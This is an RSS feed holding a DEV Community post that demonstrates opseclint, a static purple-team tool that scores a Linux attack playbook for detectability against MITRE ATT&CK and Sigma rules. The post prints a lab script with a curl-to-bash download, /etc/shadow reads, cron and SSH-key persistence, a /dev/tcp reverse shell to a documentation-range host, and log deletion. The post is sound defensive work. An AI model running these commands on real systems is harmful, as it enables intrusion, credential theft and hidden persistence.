<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Garrett Allen</title>
    <description>The latest articles on DEV Community by Garrett Allen (@garrett_allen_f62e5cb2848).</description>
    <link>https://dev.to/garrett_allen_f62e5cb2848</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3770206%2F805bb756-b473-489b-a282-d9ef874ea80c.jpg</url>
      <title>DEV Community: Garrett Allen</title>
      <link>https://dev.to/garrett_allen_f62e5cb2848</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/garrett_allen_f62e5cb2848"/>
    <language>en</language>
    <item>
      <title>What would a defender see?</title>
      <dc:creator>Garrett Allen</dc:creator>
      <pubDate>Sat, 05 Dec 2026 21:06:01 +0000</pubDate>
      <link>https://dev.to/garrett_allen_f62e5cb2848/what-would-a-defender-see-1510</link>
      <guid>https://dev.to/garrett_allen_f62e5cb2848/what-would-a-defender-see-1510</guid>
      <description>&lt;p&gt;A red team playbook is a list of commands. A blue team ruleset is a list of detections. The purple team exercise is the slow, manual work of lining the two up: for each thing the operator did, which technique was it, what did the sensor record, and did anything fire?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/ezekiellabs/opseclint" rel="noopener noreferrer"&gt;opseclint&lt;/a&gt; does that first pass statically, before anyone touches a lab. You hand it a script, and for every action it returns the MITRE ATT&amp;amp;CK technique, the host telemetry it should produce, the Sigma rules that cover it, and a 0 to 100 detectability score. It answers one question: what would a defender see?&lt;/p&gt;

&lt;p&gt;This post runs one realistic Linux playbook through it, start to finish, including the part where the tool itself turned out to be wrong.&lt;/p&gt;

&lt;h2&gt;
  
  
  The scenario: web server foothold to persistence
&lt;/h2&gt;

&lt;p&gt;The operator has landed as &lt;code&gt;www-data&lt;/code&gt; on an Ubuntu web server through a vulnerable upload form. (It's a made-up lab scenario.) From there the plan is the usual arc: look around, pull tools, escalate and grab credentials, dig in, call home, and clean up. Every IP is in 198.51.100.0/24, a documentation range, so nothing here points at a real host.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Purple team exercise: "Web server foothold to persistence"&lt;/span&gt;
&lt;span class="c"&gt;# Lab only. 198.51.100.0/24 is TEST-NET-2 (documentation range).&lt;/span&gt;

&lt;span class="c"&gt;# 1. Situational awareness&lt;/span&gt;
id
uname -a
cat /etc/os-release
ps aux

&lt;span class="c"&gt;# 2. Discovery&lt;/span&gt;
cat /etc/passwd
find / -perm -4000 -type f 2&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null
ss -tulpn

&lt;span class="c"&gt;# 3. Tool ingress&lt;/span&gt;
curl -s http://198.51.100.10/linpeas.sh &lt;span class="o"&gt;|&lt;/span&gt; bash
wget -q http://198.51.100.10/chisel -O /tmp/.cache/chisel
chmod +x /tmp/.cache/chisel

&lt;span class="c"&gt;# 4. Credential access (after privesc)&lt;/span&gt;
cat /etc/shadow
grep -ri password /var/www/html/config.php

&lt;span class="c"&gt;# 5. Persistence&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'* * * * * root /tmp/.cache/chisel client 198.51.100.10:8443 R:socks'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/cron.d/sysupdate
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'ssh-ed25519 AAAAC3Nza...lab operator@redteam'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /root/.ssh/authorized_keys
useradd -m -s /bin/bash svc-backup

&lt;span class="c"&gt;# 6. Command and control&lt;/span&gt;
bash -i &lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt; /dev/tcp/198.51.100.10/4444 0&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt;1

&lt;span class="c"&gt;# 7. Cleanup&lt;/span&gt;
&lt;span class="nb"&gt;history&lt;/span&gt; -c
rm -f /var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing is executed. opseclint parses the script, so you can run it on a laptop against a playbook you haven't tested yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: techniques, telemetry, and a score for every line
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;$ opseclint webshell-to-root.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The 18 commands produce 21 findings, ranked loudest first. Here are the top three, exactly as printed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;opseclint · detection-coverage · linux-auditd
18 lines · 21 findings · loudest ● CRITICAL (85)
────────────────────────────────────────────────────────────
 ● CRITICAL 85  L23  Access to /etc/shadow — password hash exposure
                ├ T1003.008 OS Credential Dumping: /etc/passwd and /etc/shadow
                ├ ◈ openat() of /etc/shadow — high-signal auditd file watch
                ├ ◈ read by process not running as auth stack
                └ ◆ Sigma: Access to /etc/shadow outside auth context (file_event_lnx) (high)
 ● CRITICAL 82  L32  Bash /dev/tcp reverse shell — interactive C2 channel
                ├ T1059.004 Command and Scripting Interpreter: Unix Shell · T1071 Application Layer Protocol
                ├ ◈ bash execve() followed by connect() to attacker IP
                ├ ◈ stdin/stdout/stderr duped to a socket fd
                └ ◆ Sigma: Suspicious Reverse Shell Command Line (linux); the rule matches known one-liners, not /dev/tcp in general (high)
 ● CRITICAL 80  L18  Piping downloaded content directly into a shell interpreter
                ├ T1059.004 Command and Scripting Interpreter: Unix Shell · T1105 Ingress Tool Transfer
                ├ ◈ shell process with network-client parent (curl/wget) in the process tree
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each finding reads as a small purple-team card. The first line is the action and its score. The &lt;code&gt;T&lt;/code&gt; line is the ATT&amp;amp;CK mapping, the &lt;code&gt;◈&lt;/code&gt; lines are what auditd or an EDR should record, and the &lt;code&gt;◆&lt;/code&gt; line is the detection that ought to catch it. Notice the &lt;code&gt;curl | bash&lt;/code&gt; finding has no &lt;code&gt;◆&lt;/code&gt; line at all. That's deliberate: the knowledge base only claims a rule where a published one exists.&lt;/p&gt;

&lt;p&gt;The score is a 0 to 100 estimate of how loud the action is: 0 to 24 LOW, 25 to 49 MEDIUM, 50 to 74 HIGH, 75 and up CRITICAL. Across the whole playbook it lands like this:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;Loudest action&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Credential access&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cat /etc/shadow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1003.008&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command and control&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/dev/tcp&lt;/code&gt; reverse shell&lt;/td&gt;
&lt;td&gt;T1059.004, T1071&lt;/td&gt;
&lt;td&gt;82&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tool ingress&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;curl&lt;/code&gt; piped to &lt;code&gt;bash&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;T1059.004, T1105&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cleanup&lt;/td&gt;
&lt;td&gt;&lt;code&gt;history -c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1070.003&lt;/td&gt;
&lt;td&gt;78&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;authorized_keys&lt;/code&gt; append&lt;/td&gt;
&lt;td&gt;T1098.004&lt;/td&gt;
&lt;td&gt;72&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;cat /etc/passwd&lt;/code&gt;, &lt;code&gt;find -perm -4000&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;T1087.001, T1548.001&lt;/td&gt;
&lt;td&gt;55&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Situational awareness&lt;/td&gt;
&lt;td&gt;&lt;code&gt;id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1033&lt;/td&gt;
&lt;td&gt;45&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The recon at the top of the script is the quiet part (30 to 45). Everything after the operator gets root is HIGH or CRITICAL. For a red team lead, that's the noise budget of the plan, before anyone runs it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: real Sigma rules, actually evaluated
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;◆&lt;/code&gt; lines above come from opseclint's built-in knowledge base and are representative. To check against a real ruleset, point it at a SigmaHQ checkout and ask for the blind spots:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;$ git clone --depth 1 https://github.com/SigmaHQ/sigma
$ opseclint webshell-to-root.sh --sigma sigma/rules --coverage-gaps
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;opseclint · coverage gaps · linux-auditd vs 253 rules
────────────────────────────────────────────────────────────
 · NO-RULES  L23  Access to /etc/shadow — password hash exposure [T1003.008]
        no rule in this ruleset covers its technique(s)
 ✓ COVERED   L32  Bash /dev/tcp reverse shell — interactive C2 channel [T1059.004, T1071]
        fires: Suspicious Reverse Shell Command Line
 ✓ COVERED   L18  Piping downloaded content directly into a shell interpreter [T1059.004, T1105]
        fires: Curl Usage on Linux
 · NO-RULES  L28  Modification of SSH authorized_keys — persistence / account manipulation [T1098.004, T1547]
        no rule in this ruleset covers its technique(s)
 ? INDET     L29  Local account creation — persistence [T1136.001]
        needs host fields to confirm
 ✓ COVERED   L36  Deleting system logs under /var/log — log clearing (anti-forensics) [T1685.006]
        fires: Linux Logs Clearing Attempts
 ⚠ GAP       L27  Writing to system cron locations — scheduled-task persistence [T1053.003]
        rule(s) exist for its technique(s), but none fire
 ...
────────────────────────────────────────────────────────────
 summary  ⚠ 1 gap · 16 covered · 2 indeterminate · 2 no-rules
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output is trimmed to the interesting rows; the full run is 21 rows. Four verdicts matter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;COVERED&lt;/strong&gt; means a real rule's detection logic matches this exact command. The reverse shell is caught by "Suspicious Reverse Shell Command Line".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GAP&lt;/strong&gt; means rules exist for the technique but none match this command. The cron persistence line is the one gap: SigmaHQ has "New Cron File Created", but it keys on &lt;code&gt;TargetFilename&lt;/code&gt;, which a command line can't supply.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;INDET&lt;/strong&gt; means a rule might match, but it needs a field a static tool can't see. opseclint says so instead of guessing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NO-RULES&lt;/strong&gt; means the ruleset has nothing tagged with that technique.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The most useful line for a blue team is the weakest one that still says COVERED. The &lt;code&gt;curl | bash&lt;/code&gt; stage is "covered" only by "Curl Usage on Linux", a low-severity rule that fires on any &lt;code&gt;curl&lt;/code&gt;. Covered on paper, likely buried in practice.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: when the tool is the thing that's wrong
&lt;/h2&gt;

&lt;p&gt;That COVERED on the log-deletion line wasn't there when I started writing this post. The first run said NO-RULES. I didn't believe it, so I checked that one rule directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;$ opseclint webshell-to-root.sh --check-rule sigma/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml
opseclint · rule check · Linux Logs Clearing Attempts &lt;span class="o"&gt;(&lt;/span&gt;80915f59-9b56-4616-9de0-fd0dea6c12fe&lt;span class="o"&gt;)&lt;/span&gt;
 ✓ FIRES          L36  rm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The rule fired. The coverage report missed it because of a tag. ATT&amp;amp;CK v19, released in April 2026, split Defense Evasion into two tactics and moved "Clear Linux or Mac System Logs" from T1070.002 to &lt;a href="https://attack.mitre.org/techniques/T1685/006/" rel="noopener noreferrer"&gt;T1685.006&lt;/a&gt;. SigmaHQ retagged the rule. opseclint's knowledge base still said T1070.002, so the two never met.&lt;/p&gt;

&lt;p&gt;The fix moved the knowledge base to current ATT&amp;amp;CK IDs and added a table of all 149 revoked IDs and their replacements, taken from MITRE's own data. A ruleset tagged the old way and one tagged the new way now land on the same technique. The fix is on main now and ships in opseclint's next release.&lt;/p&gt;

&lt;p&gt;That's the same failure a real detection team hits after every ATT&amp;amp;CK release. Rules, dashboards, and coverage heat maps all key on technique IDs, and the IDs move. A coverage report is only as current as its mappings, and &lt;code&gt;--check-rule&lt;/code&gt; is how you check the report.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: close the gap and gate the plan
&lt;/h2&gt;

&lt;p&gt;For the one real GAP, opseclint will write a starting rule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;$ opseclint cron.sh --scaffold
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'Writing to system cron locations (file event)'&lt;/span&gt;
&lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;experimental&lt;/span&gt;
&lt;span class="na"&gt;tags&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s"&gt;attack.t1053.003&lt;/span&gt;
&lt;span class="na"&gt;logsource&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;file_event&lt;/span&gt;
    &lt;span class="na"&gt;product&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;linux&lt;/span&gt;
&lt;span class="na"&gt;detection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;selection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;TargetFilename|startswith&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'/etc/cron.d'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(Trimmed; the real output also has a process-creation variant and TODO fields for author and tactic.) It's a draft for a detection engineer to tighten, not a finished rule.&lt;/p&gt;

&lt;p&gt;Finally, the score turns into a pipeline gate. Set an agreed threshold and the run fails when the plan is louder than that:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;$ opseclint webshell-to-root.sh --ci --threshold 70
...
opseclint: CI gate failed — loudest action CRITICAL &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; threshold 70&lt;span class="o"&gt;)&lt;/span&gt;
$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt;
1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--navigator&lt;/code&gt; exports the same findings as an ATT&amp;amp;CK Navigator layer, scored by detectability, for the debrief slide.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the blue team takes away
&lt;/h2&gt;

&lt;p&gt;From one script and two commands, the debrief already has an agenda:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Write or tune a file-event rule for &lt;code&gt;/etc/cron.d&lt;/code&gt; writes (the one true GAP).&lt;/li&gt;
&lt;li&gt;Decide whether "Curl Usage on Linux" is really the control for &lt;code&gt;curl | bash&lt;/code&gt;, or whether a parent-child rule (shell spawned with a network client upstream) is needed.&lt;/li&gt;
&lt;li&gt;Find detections for &lt;code&gt;/etc/shadow&lt;/code&gt; reads and &lt;code&gt;authorized_keys&lt;/code&gt; changes, which the public ruleset doesn't tag at all.&lt;/li&gt;
&lt;li&gt;Confirm auditd actually has file watches on those paths, since most of the telemetry lines assume one.&lt;/li&gt;
&lt;li&gt;Remap anything still on pre-v19 ATT&amp;amp;CK IDs.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Then run the playbook in the lab and feed the real audit log back in with &lt;code&gt;--telemetry audit.log --format auditd&lt;/code&gt;. That turns each predicted line into recorded proof, or shows where the prediction was wrong.&lt;/p&gt;

&lt;h2&gt;
  
  
  Limits, stated plainly
&lt;/h2&gt;

&lt;p&gt;opseclint is static. It reads commands; it doesn't run them or see the host. A missing finding means nothing in the knowledge base matched, never that an action is quiet. INDETERMINATE is its own answer, not a soft "not detected". The &lt;code&gt;◆&lt;/code&gt; lines without a &lt;code&gt;--sigma&lt;/code&gt; checkout are representative, and the EDR mappings are too. And as Step 3 showed, its ATT&amp;amp;CK IDs can lag the framework until someone remaps them.&lt;/p&gt;

&lt;p&gt;It's also not an evasion tool. It reports what an action looks like to a defender. It doesn't suggest quieter alternatives, and it was built that way on purpose.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cargo install opseclint
&lt;span class="c"&gt;# or: brew install ezekiellabs/tap/opseclint&lt;/span&gt;
&lt;span class="c"&gt;# or: docker run --rm ghcr.io/ezekiellabs/opseclint -c 'cat /etc/shadow'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The repo is &lt;a href="https://github.com/ezekiellabs/opseclint" rel="noopener noreferrer"&gt;github.com/ezekiellabs/opseclint&lt;/a&gt;. Issues and coverage requests are welcome, especially from anyone who has watched one of these predictions meet a real sensor.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>opensource</category>
      <category>rust</category>
    </item>
  </channel>
</rss>
